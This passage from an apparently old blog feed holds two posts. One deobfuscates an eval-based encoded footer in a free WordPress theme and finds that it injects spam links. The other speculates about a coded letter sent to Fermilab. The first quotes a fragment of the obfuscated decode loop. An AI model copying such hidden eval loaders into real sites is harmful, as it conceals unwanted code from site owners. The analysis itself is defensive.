    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">54</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">153</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">55</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">105</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">56</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">57</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">100</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">58</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">227</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">59</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">93</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">60</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">577</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">61</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">391</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">62</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">27</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">63</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">30</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">64</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">213</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">65</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">243</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">66</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">354</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">67</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">209</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">68</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">172</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">69</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">438</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">70</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">297</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">72</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">101</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">73</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">169</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">74</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">153</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">75</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">103</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">76</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">337</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">77</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">36</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">78</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">59</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">79</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">425</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">80</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">271</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">81</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">130</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">82</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">79</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">83</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">386</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">84</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">541</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">85</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">163</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">86</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">2</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">87</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">187</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">88</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">414</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">89</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">90</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">19</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">92</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">19</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">93</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">47</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">95</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">10</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">96</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1525</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">97</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">635</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">98</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">8490</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">99</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1773</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">100</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">2031</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">101</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1112</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">102</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">4179</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">104</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">2476</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">105</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">4299</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">106</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1421</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">107</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3064</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">108</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1170</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">109</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">41</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">110</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3057</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">111</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">2748</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">112</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1295</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">113</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">313</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">114</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3197</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">115</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">4404</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">116</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3241</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">117</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">4419</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">118</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">5</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">119</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1110</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">122</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">17</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">123</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">5</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">124</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">17</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">125</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">766</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">126</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">198</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">127</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">186</span>
<span style="color: #66cc66;">&#41;</span>
&nbsp;</pre>
<p>Thankfully we're not done yet, notice that these values are called along with a ^0x07... so maybe if we change the list to reflect this operation it'll look better. In order to make it tidy, and to continue the assumption, I've substituted the character for the integer.</p>
<pre class="php">&nbsp;
<a href="http://www.php.net/array"><span style="color: #000066;">Array</span></a>
<span style="color: #66cc66;">&#40;</span>
    <span style="color: #66cc66;">&#91;</span>&lt;tab&gt;<span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1161</span>
    <span style="color: #66cc66;">&#91;</span>
&lt;line feed&gt;<span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">630</span>
    <span style="color: #66cc66;">&#91;</span> <span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">7322</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #ff0000;">&quot;] =&gt; 305
    [#] =&gt; 70
    [$] =&gt; 349
    [%] =&gt; 21
    [&amp;] =&gt; 442
    ['] =&gt; 1487
    [(] =&gt; 127
    [)] =&gt; 127
    [*] =&gt; 9
    [+] =&gt; 10
    [,] =&gt; 3496
    [-] =&gt; 688
    [.] =&gt; 886
    [/] =&gt; 1630
    [0] =&gt; 105
    [1] =&gt; 153
    [2] =&gt; 110
    [3] =&gt; 82
    [4] =&gt; 94
    [5] =&gt; 74
    [6] =&gt; 34
    [7] =&gt; 37
    [8] =&gt; 30
    [9] =&gt; 27
    [:] =&gt; 391
    [;] =&gt; 577
    [&lt;] =&gt; 93
    [=] =&gt; 227
    [&gt;] =&gt; 100
    [?] =&gt; 1
    [A] =&gt; 297
    [B] =&gt; 438
    [C] =&gt; 172
    [D] =&gt; 209
    [E] =&gt; 354
    [F] =&gt; 243
    [G] =&gt; 213
    [H] =&gt; 425
    [I] =&gt; 59
    [J] =&gt; 36
    [K] =&gt; 337
    [L] =&gt; 103
    [M] =&gt; 153
    [N] =&gt; 169
    [O] =&gt; 101
    [P] =&gt; 187
    [Q] =&gt; 2
    [R] =&gt; 163
    [S] =&gt; 541
    [T] =&gt; 386
    [U] =&gt; 79
    [V] =&gt; 130
    [W] =&gt; 271
    [X] =&gt; 10
    [Z] =&gt; 47
    [[] =&gt; 19
    []] =&gt; 19
    [^] =&gt; 3
    [_] =&gt; 414
    [a] =&gt; 4179
    [b] =&gt; 1112
    [c] =&gt; 2031
    [d] =&gt; 1773
    [e] =&gt; 8490
    [f] =&gt; 635
    [g] =&gt; 1525
    [h] =&gt; 2748
    [i] =&gt; 3057
    [j] =&gt; 41
    [k] =&gt; 1170
    [l] =&gt; 3064
    [m] =&gt; 1421
    [n] =&gt; 4299
    [o] =&gt; 2476
    [p] =&gt; 1110
    [q] =&gt; 5
    [r] =&gt; 4419
    [s] =&gt; 3241
    [t] =&gt; 4404
    [u] =&gt; 3197
    [v] =&gt; 313
    [w] =&gt; 1295
    [x] =&gt; 186
    [y] =&gt; 198
    [z] =&gt; 766
    [{] =&gt; 17
    [|] =&gt; 5
    [}] =&gt; 17
)
</span></pre>
<p>This looks good to me. notice the matched braces (17 each), matched parens (127 each), and almost matched carrots (93 and 100). Also take note that there's much more lowercase than uppercase letters, and that lowercase 'e' is far above the other letters, implying this has English words (or at least English something) in it. </p>
<p>And again we end up with a nasty large for loop, completely worthless to try to step through:</p>
<pre class="php">&nbsp;
    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$d</span>&lt;<span style="color: #cc66cc;">83760</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
        <span style="color: #0000ff;">$i</span>.=<a href="http://www.php.net/chr"><span style="color: #000066;">chr</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$h</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span>++<span style="color: #66cc66;">&#93;</span>^0x07<span style="color: #66cc66;">&#41;</span>;
    <span style="color: #66cc66;">&#125;</span>
&nbsp;</pre>
<p>83760 steps in that loop, building whatever it is we're going to eval at the end char by char! I'm going to cheat again, run the loop, <a href="http://pastebin.com/f68e4fad1">spit out the result</a>, and die before the eval. Looks like 632 lines of... more php! Yay, this time its not obfuscated!</p>
<p>It starts off with 410 lines of 4 arrays of URLs, most appearing German. After that it does some work on your domain name and the requested page, then does some work on all of the above to pull out specific URLs to seed your footer with. They were nice enough to include a $debug flag, which I turned on, and ran on a different site that I wasn't too worried about. Here's the spit out:</p>
<pre>&nbsp;
host: thievestavern.com
uri: /final_code.php
numbers: 0
&nbsp;
final_code.php
url: thievestavern.com/final_code.php
url_base64: dGhpZXZlc3RhdmVybi5jb20vZmluYWxfY29kZS5waHA=
url_zahl: 20295
&nbsp;
array_a_count: 22
array_b_count: 90
array_c_count: 87
array_d_count: 145
array_e_count: 2
url_count: 32
&nbsp;
crc32 url: -1485503542
intval(crc32 count): 1485503542
&nbsp;
count_a (url_count + numbers): 03542
&nbsp;
count_a % array_a_count: 03542 % 22
count_a (Rest nach Teilung): 0
&nbsp;
count_b (url_count + numbers): 03542
&nbsp;
count_b % array_b_count: 03542 % 90
count_b (Rest nach Teilung): 32
&nbsp;
count_c (url_count + numbers): 03542
&nbsp;
count_c % array_c_count: 03542 % 87
count_c (Rest nach Teilung): 62
&nbsp;
count_d (url_count + numbers): 03542
&nbsp;
count_d % array_d_count: 03542 % 145
count_d (Rest nach Teilung): 62
&nbsp;
count_e (url_count + numbers): 03542
&nbsp;
count_e % array_e_count: 03542 % 2
count_e (Rest nach Teilung): 0
&nbsp;
url_zahl % anchor_1_count: 20295 % 6
&nbsp;
url_zahl_rest_1: 3
anchor_1_count: 6
&nbsp;
url_zahl_rest_2: 2
anchor_2_count: 7
&nbsp;
url_zahl_rest_3: 5
anchor_3_count: 10
&nbsp;
url_zahl_rest_4: 0
anchor_4_count: 11
&nbsp;
url_zahl_rest_5: 2
anchor_5_count: 7
&nbsp;
count: 03542
//Links were spit out here... I'm not including them as
//I don't want to advertise for random people
&nbsp;</pre>
<p><strong>Conclusions</strong><br />
I'm considering this question solved. The obfuscated piece of junk that was residing in my footer turns out to be nothing more than a very paranoid way to put links into the footer. Its handy as it'll be hard to automatically figure out which sites have these spam footers (if I couldn't do <a href="http://www.google.com/#hl=en&safe=off&q=%22WARNING%3A+This+file+is+protected+by+copyright+law.+To+reverse+engineer+or+decode+this+file+is+strictly+prohibited.+%22&aq=f&oq=&aqi=&fp=DkheYKZULkw">this</a>), it also intimidates the normal user to not remove the links. This is fairly clever, and involved, and a nice feature is that they can simply change the $o to get a whole new set of links to spit out, or to change the footer's design. I'll give them props for that.</p>
<p>All of the above makes me say that <a href="http://themespack.com">themespack.com</a> isn't really interested in putting good free (as in freedom, and beer) themes into the hands of bloggers, they're more interested in themselves. Can I fault them? No. However, I do take issue with trying to hide behind 'copyright' to prevent me from changing the links on my own blog. </p>
<p>If you get one of these themes I'd highly recommend you do the following: Go into the footer, and remove the 'alignleft' div. Put in a 'theme created by <so and so>' link, and then give yourself credit for editing it. As is your right under the GPL. I'd love to say to run the script and give credit to the supposed creators, but those end up being random German companies, clearly not people in the business of writing PHP.</p>
<p>Oh, and for the record, all of the above is what the server does when it runs the PHP code, so I'm not reverse engineering it anymore than a few calls to base64_decode does. </p>
]]></content:encoded>
			<wfw:commentRss>http://thesnarky.com/2009/06/04/evil-eval/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Little Crypto Never Killed Anyone</title>
		<link>http://thesnarky.com/2008/05/20/little-crypto-never-killed-anyone/</link>
		<comments>http://thesnarky.com/2008/05/20/little-crypto-never-killed-anyone/#comments</comments>
		<pubDate>Wed, 21 May 2008 03:46:27 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Interests]]></category>

		<guid isPermaLink="false">http://thesnarky.com/?p=205</guid>
		<description><![CDATA[On the 15th of May, Symmetry Breaking put out <a href="http://www.symmetrymagazine.org/breaking/2008/05/15/code-crackers-wanted/">this call for help</a>. It seems that the PR department of Fermilab received a (handwritten) letter in code. A high resolution version can be found<a href="http://www.symmetrymagazine.org/breaking/wp-content/uploads/2008/05/fnalcodeletter.jpg"> here</a>. Since its been a few days, and mainly since Slashdot <a href="http://it.slashdot.org/it/08/05/20/0114211.shtml">picked up</a> on <a href="http://it.slashdot.org/it/08/05/16/146252.shtml?tid=93">the story</a>, there's been some breakthroughs. Of note is 'Geoff''s work found <a href="http://www.gmilburn.ca/2008/05/20/fermilabs-strange-letter-interlude/">here</a> (only linking to the most recent post). I heard about this earlier today, and found it rather interesting, both the code, and the assumptions people were making. I'm keeping my measly ideas regarding the actual code to myself for now, as most have been enumerated elsewhere, but I'd love to examine these assumptions.

(And for the record, I'm not assuming 'male', I'm using 'he' since its quicker to type than 'she', or 'he/she').

<strong>First</strong>, there seems to be a basic assumption of sanity for the writer. I think this is the worst assumption made so far, and the most likely to bite us in the butt. While there's a chance someone was simply sending a letter to Fermi to see what they thought, pranking their co-workers, or whatever the reason, I think its at least just as likely that this is a crackpot guy who saw that Fermi has a .gov address and decided to send in something relating to their abduction, a secret formula, or world peace. 

Three bits of evidence for this. The first (that hurts my thought of mental illness) is that the address it was shipped to is not given <a href="http://www.fnal.gov/pub/contact/index.html">on the main website's contact page</a>. This seems to imply sanity and foreknowledge, or at least some stalking, to come up with a different address. If we use Archive.org, <a href="http://web.archive.org/web/20070205191906/http://www.fnal.gov/pub/contact/index.html">you can see</a> that while the address was different a year ago, it was a formatting, not substantive change. In fact, the address the letter was sent to is given on the website in <a href="http://www.google.com/search?num=30&#038;hl=en&#038;safe=off&#038;q=Fermilab++Kirk+Rd.+%26+Pine++Batavia%2C+IL+60510+site%3Afnal.gov&#038;btnG=Search">quite a few places</a>, so it is conceivable still that the author came across it coming to their site from a link, and not the main page looking for the address.

The second bit of evidence is the symbols that are used. As some have pointed out, this looks a lot like a Rosetta Stone for another message. While some of the symbols look clearly human (Upper case Phi, no doubt about it), others simply can't be found in our alphabets, yet look close to what some hypothesize should be a galactic, math based language. Where am I going with this? Perhaps (and please take this with a grain of salt, I don't personally believe in it) someone who believes in abductions found this message, understood it, and is trying to teach the language to only those humans who are worthy of learning it. Hence my thought of 'crackpot'. Sure, it may come out in the next 24 hours that these symbols match up to something else, and the guy is sane. Just remember, if it does come out to be a conspiracy, you heard it here first.

Finally, Fermi sat on the letter for a year before dusting it off and passing it off to the public. I can think of three reasons for this. The first is they honestly didn't have the people to bother. That could be, but judging by the reaction of the Slashdot community and other scientists I know, them putting this up in a break room, or an internal email, would garner a lot of attention during down time. The second thought is that they just didn't care. This would lend credence to my mental illness thought, they wrote it off immediately upon receiving it, rather than even attempt to decode it. Or, perhaps they've been working on it for a year, and got no where. I'm sure they would have the top and bottom solved, but maybe the middle bit has eluded them as well, which again would lend credence to it not having any real meaning at all. 

<strong>Second</strong>, a lot of people seemed confused on the time frame. Fermi started they received this over a year ago, but some were reading into stories of <a href="http://http://science.slashdot.org/science/08/05/20/120239.shtml">interstellar communication</a> that they assumed were related. We can't assume anything about the time frame other than any information made available after March 5th, 2007 is *not* involved in this message. In fact, due to the elaborateness of this message, I'd guess at least a week before that, as well. So anything after the end of February 2007 cannot play a role in this message. Of course, if research was going on before then, and only released afterwards the author may still have obtained a copy, or even worked on the project, and could have that information. 

<strong>Third</strong>, there's the assumption that the middle portion (the symbols/'hex' characters) is a straight key, meaning one character corresponds to its hex character. I think that's wrong. A simple frequency chart shows the following:

<table>
<tr>
<td>Character</td><td>Frequency</td>
</tr>
<tr>
<td>0</td><td>1</td>
</tr>
<tr>
<td>1</td><td>0</td>
</tr>
<tr>
<td>2</td><td>2</td>
</tr>
<tr>
<td>3</td><td>2</td>
</tr>
<tr>
<td>4</td><td>1</td>
</tr>
<tr>
<td>5</td><td>1</td>
</tr>
<tr>
<td>6</td><td>3</td>
</tr>
<tr>
<td>7</td><td>1</td>
</tr>
<tr>
<td>8</td><td>1</td>
</tr>
<tr>
<td>9</td><td>2</td>
</tr>
<tr>
<td>A</td><td>0</td>
</tr>
<tr>
<td>B</td><td>1</td>
</tr>
<tr>
<td>C</td><td>1</td>
</tr>
<tr>
<td>D</td><td>2</td>
</tr>
<tr>
<td>E</td><td>3</td>
</tr>
<tr>
<td>F</td><td>3</td>
</tr>
</table>

As you can see, the frequency still fits into our base 3 assumption. I think that's <strong>very</strong> important, as the author uses base three (we assume, and can come up with English-correct translations for) in the top and bottom portions. So, rather than say that the sideways triangle equals 'F', we should say that it equals 3. 

Now, translating the message into the frequencies, then decoding as we did for the top and bottom portions yields something cute (assuming that 222 is a space, not 000). We get:

111_1_111 111_1_111 111_11_111 11_111_11
111_1_1 11_11_11 111_1_11 11_111_111

OR

D D G G
E _  F S

There was speculation initially that the 'Basse' 'misspelling' in the message meant the middle bit should be a song. Well using this translation we have a song! It can be read left to right (half note D, half note G, quarter note E, quarter note rest, F sharp), or top down (quarter note D, quarter note E, quarter note D, quarter note rest, quarter note G quarter note F, G sharp). Of course, in many circles (especially Close Encounters of the Third Kind, and Independence Day) music and lights are thought to be 'universal' languages to chat up aliens with. Hmm. Not saying that's the answer, but playing it is kind of catchy. 

Going along with this assumption was the thought that 1 and A (and also 's') needed to be assigned values. I'd argue that they are assigned values as seen above. They're included in the chart 0 times, so they're all worth 0. And if you're as good with off by one errors as I am, that will get your hopes up for the 'initials' between the 'key' and the bottom.

Well, those are my thoughts on the assumptions that are being made so far. Hope it helps someone out there! ]]></description>
			<content:encoded><![CDATA[<p>On the 15th of May, Symmetry Breaking put out <a href="http://www.symmetrymagazine.org/breaking/2008/05/15/code-crackers-wanted/">this call for help</a>. It seems that the PR department of Fermilab received a (handwritten) letter in code. A high resolution version can be found<a href="http://www.symmetrymagazine.org/breaking/wp-content/uploads/2008/05/fnalcodeletter.jpg"> here</a>. Since its been a few days, and mainly since Slashdot <a href="http://it.slashdot.org/it/08/05/20/0114211.shtml">picked up</a> on <a href="http://it.slashdot.org/it/08/05/16/146252.shtml?tid=93">the story</a>, there's been some breakthroughs. Of note is 'Geoff''s work found <a href="http://www.gmilburn.ca/2008/05/20/fermilabs-strange-letter-interlude/">here</a> (only linking to the most recent post). I heard about this earlier today, and found it rather interesting, both the code, and the assumptions people were making. I'm keeping my measly ideas regarding the actual code to myself for now, as most have been enumerated elsewhere, but I'd love to examine these assumptions.</p>
<p>(And for the record, I'm not assuming 'male', I'm using 'he' since its quicker to type than 'she', or 'he/she').</p>
<p><strong>First</strong>, there seems to be a basic assumption of sanity for the writer. I think this is the worst assumption made so far, and the most likely to bite us in the butt. While there's a chance someone was simply sending a letter to Fermi to see what they thought, pranking their co-workers, or whatever the reason, I think its at least just as likely that this is a crackpot guy who saw that Fermi has a .gov address and decided to send in something relating to their abduction, a secret formula, or world peace. </p>
<p>Three bits of evidence for this. The first (that hurts my thought of mental illness) is that the address it was shipped to is not given <a href="http://www.fnal.gov/pub/contact/index.html">on the main website's contact page</a>. This seems to imply sanity and foreknowledge, or at least some stalking, to come up with a different address. If we use Archive.org, <a href="http://web.archive.org/web/20070205191906/http://www.fnal.gov/pub/contact/index.html">you can see</a> that while the address was different a year ago, it was a formatting, not substantive change. In fact, the address the letter was sent to is given on the website in <a href="http://www.google.com/search?num=30&hl=en&safe=off&q=Fermilab++Kirk+Rd.+%26+Pine++Batavia%2C+IL+60510+site%3Afnal.gov&btnG=Search">quite a few places</a>, so it is conceivable still that the author came across it coming to their site from a link, and not the main page looking for the address.</p>
<p>The second bit of evidence is the symbols that are used. As some have pointed out, this looks a lot like a Rosetta Stone for another message. While some of the symbols look clearly human (Upper case Phi, no doubt about it), others simply can't be found in our alphabets, yet look close to what some hypothesize should be a galactic, math based language. Where am I going with this? Perhaps (and please take this with a grain of salt, I don't personally believe in it) someone who believes in abductions found this message, understood it, and is trying to teach the language to only those humans who are worthy of learning it. Hence my thought of 'crackpot'. Sure, it may come out in the next 24 hours that these symbols match up to something else, and the guy is sane. Just remember, if it does come out to be a conspiracy, you heard it here first.</p>
<p>Finally, Fermi sat on the letter for a year before dusting it off and passing it off to the public. I can think of three reasons for this. The first is they honestly didn't have the people to bother. That could be, but judging by the reaction of the Slashdot community and other scientists I know, them putting this up in a break room, or an internal email, would garner a lot of attention during down time. The second thought is that they just didn't care. This would lend credence to my mental illness thought, they wrote it off immediately upon receiving it, rather than even attempt to decode it. Or, perhaps they've been working on it for a year, and got no where. I'm sure they would have the top and bottom solved, but maybe the middle bit has eluded them as well, which again would lend credence to it not having any real meaning at all. </p>
<p><strong>Second</strong>, a lot of people seemed confused on the time frame. Fermi started they received this over a year ago, but some were reading into stories of <a href="http://http://science.slashdot.org/science/08/05/20/120239.shtml">interstellar communication</a> that they assumed were related. We can't assume anything about the time frame other than any information made available after March 5th, 2007 is *not* involved in this message. In fact, due to the elaborateness of this message, I'd guess at least a week before that, as well. So anything after the end of February 2007 cannot play a role in this message. Of course, if research was going on before then, and only released afterwards the author may still have obtained a copy, or even worked on the project, and could have that information. </p>
<p><strong>Third</strong>, there's the assumption that the middle portion (the symbols/'hex' characters) is a straight key, meaning one character corresponds to its hex character. I think that's wrong. A simple frequency chart shows the following:</p>
<table>
<tr>
<td>Character</td>
<td>Frequency</td>
</tr>
<tr>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>2</td>
<td>2</td>
</tr>
<tr>
<td>3</td>
<td>2</td>
</tr>
<tr>
<td>4</td>
<td>1</td>
</tr>
<tr>
<td>5</td>
<td>1</td>
</tr>
<tr>
<td>6</td>
<td>3</td>
</tr>
<tr>
<td>7</td>
<td>1</td>
</tr>
<tr>
<td>8</td>
<td>1</td>
</tr>
<tr>
<td>9</td>
<td>2</td>
</tr>
<tr>
<td>A</td>
<td>0</td>
</tr>
<tr>
<td>B</td>
<td>1</td>
</tr>
<tr>
<td>C</td>
<td>1</td>
</tr>
<tr>
<td>D</td>
<td>2</td>
</tr>
<tr>
<td>E</td>
<td>3</td>
</tr>
<tr>
<td>F</td>
<td>3</td>
</tr>
</table>
<p>As you can see, the frequency still fits into our base 3 assumption. I think that's <strong>very</strong> important, as the author uses base three (we assume, and can come up with English-correct translations for) in the top and bottom portions. So, rather than say that the sideways triangle equals 'F', we should say that it equals 3. </p>
<p>Now, translating the message into the frequencies, then decoding as we did for the top and bottom portions yields something cute (assuming that 222 is a space, not 000). We get:</p>
<p>111_1_111 111_1_111 111_11_111 11_111_11<br />
111_1_1 11_11_11 111_1_11 11_111_111</p>
<p>OR</p>
<p>D D G G<br />
E _  F S</p>
